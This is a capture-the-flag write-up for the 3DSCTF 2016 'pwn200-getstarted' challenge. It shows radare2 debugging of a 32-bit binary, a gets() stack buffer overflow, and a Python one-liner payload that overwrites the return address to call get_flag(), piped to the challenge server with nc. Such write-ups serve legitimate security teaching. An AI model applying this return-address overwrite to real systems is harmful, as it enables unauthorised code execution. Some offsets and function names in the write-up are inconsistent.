3DSCTF 2016 : pwn200-getstarted

get_started() - A very proud programmer hid a flag in his binary. Can you extract it? Send to 54.175.35.248 8005

Flag format: 3DS{flag}

Solution

Received a ELF 32bit binary named get_started that asks for a "palavrinha magica" (password) when executed..

..and quits w/ wrong password.

The same program is running on server side, i can confirm w/ nc 54.175.35.248 8005

Ok, we don't know the password, lets decompile it..

Radare2 afl command shows up lot of functions.. but we can focus on main() who call __printf() and gets() which read user input..

Apparently no one function is calling the get_flag()

But everything indicates that function will return our flag. Lets see inside it..

Good, look its read flag.txt file and display his content.. All we need!

Ok, I created the flag.txt locally with some random content and will try to access it through the program..

Now i started debuggin get_started program w/ radare2..

$ radare2 -Ad get_started 
  • db 0x08048a36 ;set a breakpoint somewhere in the main(), a part that you are sure the program goes through..
  • dc ;run the program until breakpoin hit..
  • dr eip=0x080489b8 ;redefine eip to 0x080489b8, get_flag() address who read/return flag.txt content..
  • dc; to resume the program execution..

We cannot execute the get_secret() function directly to read flag.txt content.. looking at the code, there's two jne's before that should be implemented like p4-team did, this is the right way.. but i got the same result jumping directly to 0x080489b8.

Perfect! we know how to read/display flag.txt content by modifying the memory pointer on-the-run.. but, how to do this on server side?

Buffer overflow

If u see again the main function, theres a buffer of 0x3c(60 bytes) allocated to user input and 0x4(4 bytes) to function Return address..

What happens if we send 56 bytes or more to it?

$ python -c 'print "a"*66' | ./get_started

The program breaks causing a Segmentation fault... This means it is vulnerable to Buffer Overflow attack.

So, if we send exactly 56 bytes(random chars, like a's) + 4 bytes containing any memory address the program will Return to given memory address!

$ python -c 'print "a"*56 + "\xb8\x89\x04\x08"' | ./get_started

\xb8\x89\x04\x08 = 0x080489b8 converted to Hex Little Endian (08 04 89 b8 backward)

Now you have exploited the program locally.. do the same remotely piping on netcat..

$ python -c 'print "a"*56 + "\xb8\x89\x04\x08"' | nc 54.175.35.248 8005

Flag: 3DS{CENSORED}

Bonus: Exploiting w/ Pwntools

The same w/ netcat.py

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